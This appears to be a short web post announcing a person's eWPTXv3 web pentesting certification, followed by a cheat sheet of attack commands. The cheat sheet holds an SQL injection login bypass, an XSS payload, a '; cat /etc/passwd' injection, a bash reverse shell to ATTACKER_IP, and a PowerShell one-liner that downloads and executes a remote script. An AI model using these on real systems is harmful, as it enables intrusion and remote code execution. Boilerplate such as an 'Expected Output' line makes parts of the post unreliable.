eWPTXv3 Certification: Mastering Web Application Penetration Testing

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Kalpesh Patil has officially earned the eWPTXv3 (eLearnSecurity Web Application Penetration Tester eXtreme) certification from INE, demonstrating expertise in advanced web app security testing, authentication bypasses, and modern exploitation techniques.

🔗 Related Course: INE eWPTXv3 Certification

You Should Know: Essential Commands & Techniques for Web App Penetration Testing

1. Black-Box Assessment Tools

  • Nmap (Network Scanning)
    nmap -sV -A -T4 target.com
    

Scan for open ports, services, and vulnerabilities.

  • Nikto (Web Server Scanner)
    nikto -h http://target.com
    

Identifies misconfigurations and outdated software.

2. Authentication Bypass Techniques

  • SQL Injection (SQLi)
    ' OR '1'='1' --
    

Test login forms for SQLi vulnerabilities.

  • Burp Suite (Session Hijacking)
  • Intercept requests and modify cookies/session tokens.
  • Use Burp Repeater to test authentication flaws.

3. Exploiting Web Vulnerabilities

  • XSS (Cross-Site Scripting)
    <script>alert('XSS')</script>
    

Test input fields for XSS flaws.

  • Command Injection
    ; cat /etc/passwd
    

Check for OS command execution in web inputs.

4. Post-Exploitation

  • Reverse Shell (Netcat)
    nc -lvnp 4444
    

On attacker machine.

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

On victim machine (if command injection exists).

What Undercode Say

The eWPTXv3 certification validates deep technical skills in web app security. To replicate these techniques:
– Use OWASP ZAP for automated scanning.
– Practice JWT token manipulation for API security testing.
– Learn Linux privilege escalation (sudo -l, find / -perm -4000).
– Master Windows command injections (powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')").

🔗 Further Reading:

Prediction

As web applications evolve, API security and zero-trust authentication will dominate penetration testing. Certifications like eWPTXv3 will remain critical for red teams.

Expected Output:

A structured guide with actionable commands for web app pentesting, aligned with eWPTXv3 objectives.

References:

Reported By: Kalpesh Patil1 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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